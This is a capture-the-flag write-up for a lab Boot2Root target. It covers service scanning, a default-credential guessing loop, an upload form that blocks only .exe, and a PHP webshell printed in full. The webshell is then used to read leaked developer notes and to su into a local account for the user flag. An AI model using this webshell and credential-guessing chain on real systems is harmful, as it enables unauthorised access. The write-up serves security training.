N
Back to writeup archive
Hack@10 International Capture The Flag Pre-Eliminary Round 2026

Freshman-V2 - user

Initial access path for the Freshman-V2 target.

Boot2RootMarkdown + PDFUsersolved2 minread·543words
route
/TryN3rr0r/writeups/hack10-pre-eliminary-2026/freshman-v2-user
archive index
10 / 15
read mode
parsed markdown
Writeup loaded.

Freshman-V2 - user

challenge brief
target profile, scoring, and execution stack
verified solve
target
192.168.252.136
category
Boot2Root
points
478
difficulty
Easy
flag format
hack10{flag_here}
tools used
nmapcurlftpgobusterbashPHPbase64su
final flag
hack10{3asy_p3asy_1n1t1al_acc3ss}
reveal and copy from section 5

1. Challenge Overview

This Boot2Root target exposed four services: FTP on 21, Apache/PHP on 80, MySQL on 3306, and nginx on 8080. The objective was to obtain the user flag without offline extraction of the VM contents.

The successful path was:

Enumerate the web application and find weak web credentials.

Abuse the unrestricted upload feature to gain code execution as www-data.

Discover leaked developer notes in /tmp/dev_notes.txt.

Reuse the leaked local account password with su to read /home/freshman/user.txt.

Decode the base64-encoded flag.

PDF evidence frame 01

2. Initial Reconnaissance

I first confirmed the exposed network surface and collected the login page behavior.

Command:

bash1 lines
1nmap -sV -T4 192.168.252.136

Output:

bash13 lines
1Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 14:00 -04002Nmap scan report for 192.168.252.1363Host is up (0.00081s latency).4Not shown: 996 closed tcp ports (reset)5PORT     STATE SERVICE VERSION621/tcp   open  ftp     vsftpd 3.0.5780/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))83306/tcp open  mysql   MySQL (unauthorized)98080/tcp open  http    nginx 1.18.0 (Ubuntu)10MAC Address: 00:0C:29:50:02:C3 (VMware)11Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel12Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .13Nmap done: 1 IP address (1 host up) scanned in 7.29 seconds

Command:

bash1 lines
1curl -i --max-time 10 http://192.168.252.136/

Output:

bash76 lines
1HTTP/1.1 200 OK2Date: Fri, 27 Mar 2026 18:00:12 GMT3Server: Apache/2.4.52 (Ubuntu)4Set-Cookie: PHPSESSID=vbj1q7cspop4fvuhmndl97i3ab; path=/5Expires: Thu, 19 Nov 1981 08:52:00 GMT6Cache-Control: no-store, no-cache, must-revalidate7Pragma: no-cache8Vary: Accept-Encoding9Content-Length: 262010Content-Type: text/html; charset=UTF-811<!DOCTYPE html>12<html lang="en">13<head>14    <meta charset="UTF-8">15    <title>Freshman Portal</title>16    <style>17        body {18            font-family: 'Inter', 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;19            background: linear-gradient(135deg, #1e1e2f 0%, #2a2a40 100%);20            color: #fff;21            display: flex;22            align-items: center;23            justify-content: center;24            height: 100vh;25            margin: 0;26            overflow: hidden;27        }28        .container {29            background: rgba(255, 255, 255, 0.05);30            padding: 40px;31            border-radius: 12px;32            box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4);33            backdrop-filter: blur(15px);34            border: 1px solid rgba(255, 255, 255, 0.1);35            width: 350px;36            text-align: center;37            animation: fadeIn 0.8s ease-out;38        }39        @keyframes fadeIn {40            from { opacity: 0; transform: translateY(-20px); }41            to { opacity: 1; transform: translateY(0); }42        }43        h2 { margin-top: 0; font-weight: 600; color: #fff; font-size: 28px; }44        p { color: #bbb; font-size: 14px; margin-bottom: 25px; }45        input[type="text"], input[type="password"] {46            width: 100%; padding: 14px; margin: 10px 0;47            border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 8px;48            background: rgba(0,0,0,0.2); color: #fff;49            box-sizing: border-box;50            outline: none; transition: 0.3s;51        }52        input:focus { border-color: #4a90e2; background: rgba(0,0,0,0.4); box-shadow: 0 0 10px rgba(74, 144, 226, 0.3); }53        button {54            width: 100%; padding: 14px; margin-top: 15px;55            background: #4a90e2; color: white;56            border: none; border-radius: 8px;57            font-size: 16px; cursor: pointer; transition: background 0.3s, transform 0.1s;58            font-weight: 600;59        }60        button:hover { background: #357abd; transform: translateY(-1px); }61        button:active { transform: translateY(1px); }62        .error { color: #ff4d4d; margin-bottom: 15px; font-weight: 500; font-size: 14px;}63    </style>64</head>65<body>66    <div class="container">67        <h2>Freshman Portal</h2>68        <p>Please log in to manage your assignments.</p>69                <form method="POST">70            <input type="text" name="username" placeholder="Username" required>71            <input type="password" name="password" placeholder="Password" required>72            <button type="submit">Login to Dashboard</button>73        </form>74    </div>75</body>76</html>

Command:

bash1 lines
1curl -i --max-time 10 http://192.168.252.136:8080/

Output:

bash32 lines
1HTTP/1.1 200 OK2Server: nginx/1.18.0 (Ubuntu)3Date: Fri, 27 Mar 2026 18:00:12 GMT4Content-Type: text/html5Content-Length: 6126Last-Modified: Fri, 27 Mar 2026 13:06:48 GMT7Connection: keep-alive8ETag: "69c680e8-264"9Accept-Ranges: bytes10<!DOCTYPE html>11<html>12<head>13<title>Welcome to nginx!</title>14<style>15    body {16        width: 35em;17        margin: 0 auto;18        font-family: Tahoma, Verdana, Arial, sans-serif;19    }20</style>21</head>22<body>23<h1>Welcome to nginx!</h1>24<p>If you see this page, the nginx web server is successfully installed and25working. Further configuration is required.</p>26<p>For online documentation and support please refer to27<a href="http://nginx.org/">nginx.org</a>.<br/>28Commercial support is available at29<a href="http://nginx.com/">nginx.com</a>.</p>30<p><em>Thank you for using nginx.</em></p>31</body>32</html>

Command:

bash1 lines
1printf 'user anonymous anonymous\\nls\\nquit\\n' | ftp -inv 192.168.252.136

Output:

bash9 lines
1Connected to 192.168.252.136.2220 (vsFTPd 3.0.5)3331 Please specify the password.4530 Login incorrect.5Login failed.6530 Please login with USER and PASS.7530 Please login with USER and PASS.8ftp: Can't bind for data connection: Address already in use9221 Goodbye.

Command:

bash1 lines
1gobuster dir -u http://192.168.252.136/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 30

Output:

bash36 lines
1===============================================================2Gobuster v3.8.23by OJ Reeves (@TheColonial) \& Christian Mehlmauer (@firefart)4===============================================================5[+] Url:                     http://192.168.252.136/6[+] Method:                  GET7[+] Threads:                 308[+] Wordlist:                /usr/share/wordlists/dirb/common.txt9[+] Negative Status codes:   40410[+] User Agent:              gobuster/3.8.211[+] Extensions:              html,php,txt12[+] Timeout:                 10s13===============================================================14Starting gobuster in directory enumeration mode15===============================================================16.hta                 (Status: 403) [Size: 280]17.hta.php             (Status: 403) [Size: 280]18.hta.txt             (Status: 403) [Size: 280]19.hta.html            (Status: 403) [Size: 280]20.htaccess            (Status: 403) [Size: 280]21.htaccess.txt        (Status: 403) [Size: 280]22.htaccess.php        (Status: 403) [Size: 280]23.htpasswd            (Status: 403) [Size: 280]24.htpasswd.php        (Status: 403) [Size: 280]25.htaccess.html       (Status: 403) [Size: 280]26.htpasswd.html       (Status: 403) [Size: 280]27.htpasswd.txt        (Status: 403) [Size: 280]28index.php            (Status: 200) [Size: 2620]29index.php            (Status: 200) [Size: 2620]30logout.php           (Status: 302) [Size: 0] [--> index.php]31server-status        (Status: 403) [Size: 280]32upload.php           (Status: 302) [Size: 0] [--> index.php]33uploads              (Status: 301) [Size: 320] [--> http://192.168.252.136/uploads/]34===============================================================35Finished36===============================================================

Command:

bash1 lines
1for c in admin:admin admin:password student:student freshman:freshman user:user test:test; do u=${c%%:*}; p=${c##*:}; code=$(curl -s -o /tmp/resp.$$ -w '%{http_code}' -c /tmp/c.$$ -b /tmp/c.$$ -X POST http://192.168.252.136/ -d "username=$u\&password=$p"); if ! grep -q 'Invalid credentials' /tmp/resp.$$; then echo "$u:$p => $code"; cat /tmp/resp.$$; fi; done

Output:

bash1 lines
1admin:admin => 302
PDF evidence frame 02

3. Analysis / Forensics Path

The nginx service on 8080 initially looked like a default landing page, but directory enumeration showed index.php, upload.php, logout.php, and /uploads/ on that port as well. Fetching those files through nginx returned the raw PHP source code instead of executing it.

Command:

bash1 lines
1curl -s http://192.168.252.136:8080/index.php

Output:

bash82 lines
1<?php2session_start();3if ($_SERVER['REQUEST_METHOD'] == 'POST') {4    $username = $_POST['username'];5    $password = $_POST['password'];6    // Default weak credentials7    if ($username === 'admin' \&\& $password === 'admin') {8        $_SESSION['loggedin'] = true;9        header('Location: upload.php');10        exit;11    } else {12        $error = "Invalid credentials! Please try again.";13    }14}15?>16<!DOCTYPE html>17<html lang="en">18<head>19    <meta charset="UTF-8">20    <title>Freshman Portal</title>21    <style>22        body {23            font-family: 'Inter', 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;24            background: linear-gradient(135deg, #1e1e2f 0%, #2a2a40 100%);25            color: #fff;26            display: flex;27            align-items: center;28            justify-content: center;29            height: 100vh;30            margin: 0;31            overflow: hidden;32        }33        .container {34            background: rgba(255, 255, 255, 0.05);35            padding: 40px;36            border-radius: 12px;37            box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4);38            backdrop-filter: blur(15px);39            border: 1px solid rgba(255, 255, 255, 0.1);40            width: 350px;41            text-align: center;42            animation: fadeIn 0.8s ease-out;43        }44        @keyframes fadeIn {45            from { opacity: 0; transform: translateY(-20px); }46            to { opacity: 1; transform: translateY(0); }47        }48        h2 { margin-top: 0; font-weight: 600; color: #fff; font-size: 28px; }49        p { color: #bbb; font-size: 14px; margin-bottom: 25px; }50        input[type="text"], input[type="password"] {51            width: 100%; padding: 14px; margin: 10px 0;52            border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 8px;53            background: rgba(0,0,0,0.2); color: #fff;54            box-sizing: border-box;55            outline: none; transition: 0.3s;56        }57        input:focus { border-color: #4a90e2; background: rgba(0,0,0,0.4); box-shadow: 0 0 10px rgba(74, 144, 226, 0.3); }58        button {59            width: 100%; padding: 14px; margin-top: 15px;60            background: #4a90e2; color: white;61            border: none; border-radius: 8px;62            font-size: 16px; cursor: pointer; transition: background 0.3s, transform 0.1s;63            font-weight: 600;64        }65        button:hover { background: #357abd; transform: translateY(-1px); }66        button:active { transform: translateY(1px); }67        .error { color: #ff4d4d; margin-bottom: 15px; font-weight: 500; font-size: 14px;}68    </style>69</head>70<body>71    <div class="container">72        <h2>Freshman Portal</h2>73        <p>Please log in to manage your assignments.</p>74        <?php if (isset($error)) echo "<div class='error'>$error</div>"; ?>75        <form method="POST">76            <input type="text" name="username" placeholder="Username" required>77            <input type="password" name="password" placeholder="Password" required>78            <button type="submit">Login to Dashboard</button>79        </form>80    </div>81</body>82</html>

The upload logic on 8080 also disclosed that only .exe was blocked, which implied unrestricted server-side upload of .php files on Apache.

Command:

bash1 lines
1curl -s http://192.168.252.136:8080/upload.php

Output:

bash57 lines
1<?php2session_start();3if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {4    header('Location: index.php');5    exit;6}7if ($_SERVER['REQUEST_METHOD'] == 'POST' \&\& isset($_FILES['file'])) {8    $target_dir = "uploads/";9    $file_name = basename($_FILES["file"]["name"]);10    $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));11    if ($file_ext === "exe") {12        $message = "<div class='error'>Error: Executable files (.exe) are strictly prohibited!</div>";13    } else {14        if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_dir . $file_name)) {15            $message = "<div class='success'>Assignment successfully submitted!<br>Access your file here: <a href='uploads/$file_name'>uploads/$file_name</a></div>";16        } else {17            $message = "<div class='error'>An unexpected error occurred while uploading. Please try again.</div>";18        }19    }20}21?>22<!DOCTYPE html>23<html lang="en">24<head>25    <meta charset="UTF-8">26    <title>Freshman Portal - Upload</title>27    <style>28        body { font-family: 'Inter', 'Segoe UI', sans-serif; background: linear-gradient(135deg, #1e1e2f, #2a2a40); color: #fff; margin: 0; padding: 0; display:flex; justify-content:center; align-items:center; height:100vh;}29        .container { background: rgba(255, 255, 255, 0.05); padding: 40px; border-radius: 12px; box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4); backdrop-filter: blur(15px); border: 1px solid rgba(255, 255, 255, 0.1); width: 450px; text-align: center; animation: fadeIn 0.5s ease-out; }30        @keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }31        h2 { font-size: 26px; margin-top: 0; }32        p { color: #bbb; line-height: 1.5; margin-bottom: 25px; }33        .success { color: #2ecc71; margin-bottom: 20px; font-weight: 500; background: rgba(46, 204, 113, 0.1); padding: 15px; border-radius:8px; border: 1px solid rgba(46, 204, 113, 0.3); font-size: 15px;}34        .success a { color: #4a90e2; font-weight: bold; text-decoration: none; word-break: break-all;}35        .success a:hover { text-decoration: underline; }36        .error { color: #ff4d4d; margin-bottom: 20px; font-weight: 500; background: rgba(255, 77, 77, 0.1); padding: 15px; border-radius:8px; border: 1px solid rgba(255, 77, 77, 0.3); font-size: 15px;}37        input[type="file"] { margin: 20px 0; background: rgba(0,0,0,0.2); padding: 15px; border-radius: 8px; width: 100%; box-sizing: border-box; border: 1px dashed rgba(255,255,255,0.2); transition: 0.3s; }38        input[type="file"]:focus { border-color: #4a90e2; }39        button { background: #4a90e2; color: #fff; border: none; padding: 14px 20px; border-radius: 8px; cursor: pointer; transition: 0.3s; font-size:16px; width: 100%; font-weight: 600; }40        button:hover { background: #357abd; transform: translateY(-1px); }41        .logout { display: inline-block; margin-top: 20px; color: #888; text-decoration: none; font-size: 14px; transition: 0.3s; }42        .logout:hover { color: #fff; }43    </style>44</head>45<body>46    <div class="container">47        <h2>Assignment Upload</h2>48        <p>Please upload your upcoming coursework or assignment documents. Only `.pdf` or `.docx` formats are recommended.</p>49        <?php if (isset($message)) echo $message; ?>50        <form method="POST" enctype="multipart/form-data">51            <input type="file" name="file" required>52            <button type="submit">Submit Assignment</button>53        </form>54        <a href="logout.php" class="logout">\&larr; Secure Logout</a>55    </div>56</body>57</html>

After code execution as www-data, I searched for local artifacts and found /tmp/dev_notes.txt.

Command:

bash1 lines
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=cat+/tmp/dev_notes.txt'

Output:

bash20 lines
1Development Notes - Freshman Portal2====================================3Author: Nur Aisyah4Last Updated: 2025-08-225Apache Config:6- DocumentRoot /var/www/html7- mod_rewrite enabled8PHP Settings:9- upload_max_filesize = 10M10- Uploads go to /var/www/html/uploads/11Known Issues:12- Upload page does not validate file types properly13- CSS broken on mobile view14Test Accounts (REMOVE BEFORE PRODUCTION!):15  Web Admin Panel  -> admin / admin16  SSH Access       -> freshman / freshman12317Changelog:18- v1.0 Initial release19- v1.1 Added file upload20- v1.2 Bug fixes

That note provided the second-stage local credential for the freshman user.

PDF evidence frame 03
PDF evidence frame 04

4. Exploitation / Recovery

First, I authenticated to the web portal with the weak admin credentials and accessed the upload form.

Command:

bash1 lines
1curl -i -s -L -c /tmp/admin.cookies -b /tmp/admin.cookies -X POST http://192.168.252.136/ -d 'username=admin\&password=admin'

Output:

bash26 lines
1HTTP/1.1 302 Found2Date: Fri, 27 Mar 2026 18:01:13 GMT3Server: Apache/2.4.52 (Ubuntu)4Set-Cookie: PHPSESSID=91s0mpkegv6nh05bk7ihgb1kql; path=/5Expires: Thu, 19 Nov 1981 08:52:00 GMT6Cache-Control: no-store, no-cache, must-revalidate7Pragma: no-cache8Location: upload.php9Content-Length: 010Content-Type: text/html; charset=UTF-811HTTP/1.1 200 OK12Date: Fri, 27 Mar 2026 18:01:13 GMT13Server: Apache/2.4.52 (Ubuntu)14Expires: Thu, 19 Nov 1981 08:52:00 GMT15Cache-Control: no-store, no-cache, must-revalidate16Pragma: no-cache17Vary: Accept-Encoding18Content-Length: 265019Content-Type: text/html; charset=UTF-820<!DOCTYPE html>21<html lang="en">22<head>23    <meta charset="UTF-8">24    <title>Freshman Portal - Upload</title>25    ...26</html>

I used this exact PHP webshell payload:

php5 lines
1<?php2if (isset($_REQUEST['cmd'])) {3    system($_REQUEST['cmd']);4}5?>

I then uploaded it with the authenticated session.

Command:

bash1 lines
1curl -i -s -b /tmp/admin.cookies -c /tmp/admin.cookies -F 'file=@/home/nopalinto/Downloads/CTF Codex/shell.php;type=application/x-php' http://192.168.252.136/upload.php

Output:

bash23 lines
1HTTP/1.1 200 OK2Date: Fri, 27 Mar 2026 18:01:28 GMT3Server: Apache/2.4.52 (Ubuntu)4Expires: Thu, 19 Nov 1981 08:52:00 GMT5Cache-Control: no-store, no-cache, must-revalidate6Pragma: no-cache7Vary: Accept-Encoding8Content-Length: 27879Content-Type: text/html; charset=UTF-810<!DOCTYPE html>11<html lang="en">12<head>13    <meta charset="UTF-8">14    <title>Freshman Portal - Upload</title>15    ...16        <div class='success'>Assignment successfully submitted!<br>Access your file here: <a href='uploads/shell.php'>uploads/shell.php</a></div>        <form method="POST" enctype="multipart/form-data">17            <input type="file" name="file" required>18            <button type="submit">Submit Assignment</button>19        </form>20        <a href="logout.php" class="logout">\&larr; Secure Logout</a>21    </div>22</body>23</html>

I verified code execution:

Command:

bash1 lines
1curl -s http://192.168.252.136/uploads/shell.php?cmd=id

Output:

bash1 lines
1uid=33(www-data) gid=33(www-data) groups=33(www-data)

The exact command chain used to recover the user flag was:

bash3 lines
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=cat+/tmp/dev_notes.txt'2curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"id;pwd;ls+-la+/home/freshman;cat+/home/freshman/user.txt"+2>%261'3printf 'aGFjazEwezNhc3lfcDNhc3lfMW4xdDFhbF9hY2Mzc3N9Cg==' | base64 -d

Literal output of the local user pivot:

bash10 lines
1Password: uid=1000(freshman) gid=1000(freshman) groups=1000(freshman)2/var/www/html/uploads3total 244drwxr-x--- 1 freshman freshman 4096 Mar 27 13:07 .5drwxr-xr-x 1 root     root     4096 Mar 27 13:07 ..6-rw-r--r-- 1 freshman freshman  220 Jan  6  2022 .bash_logout7-rw-r--r-- 1 freshman freshman 3771 Jan  6  2022 .bashrc8-rw-r--r-- 1 freshman freshman  807 Jan  6  2022 .profile9-rw------- 1 freshman freshman   49 Mar 27 13:07 user.txt10aGFjazEwezNhc3lfcDNhc3lfMW4xdDFhbF9hY2Mzc3N9Cg==

Literal output of the decode step:

captured flag
hack10{3asy_p3asy_1n1t1al_acc3ss}
PDF evidence frame 05
PDF evidence frame 06

5. Flag

captured flag
hack10{3asy_p3asy_1n1t1al_acc3ss}

6. Summary of Approach & Key Takeaways

Step-by-step recap:

Scanned the target and identified FTP, Apache, MySQL, and nginx.

Enumerated the Apache site and found upload.php and /uploads/.

Tested common credentials and found admin / admin for the web panel.

Enumerated the nginx service and discovered it exposed raw PHP source code on :8080.

Confirmed the upload page only blocked .exe, allowing unrestricted .php upload.

Uploaded a PHP webshell and gained command execution as www-data.

Searched the filesystem and found /tmp/dev_notes.txt.

Extracted the leaked local credential freshman / freshman123.

Reused the password with su to access the freshman account context.

Read /home/freshman/user.txt, decoded the base64 content, and recovered the flag.

Lessons learned:

Weak default credentials on web panels create immediate footholds.

Source disclosure on an alternate web server can reveal hidden logic even when the main application seems opaque.

File upload controls that blacklist only one extension are ineffective.

Developer notes left in writable or world-readable locations can completely collapse the intended trust boundary.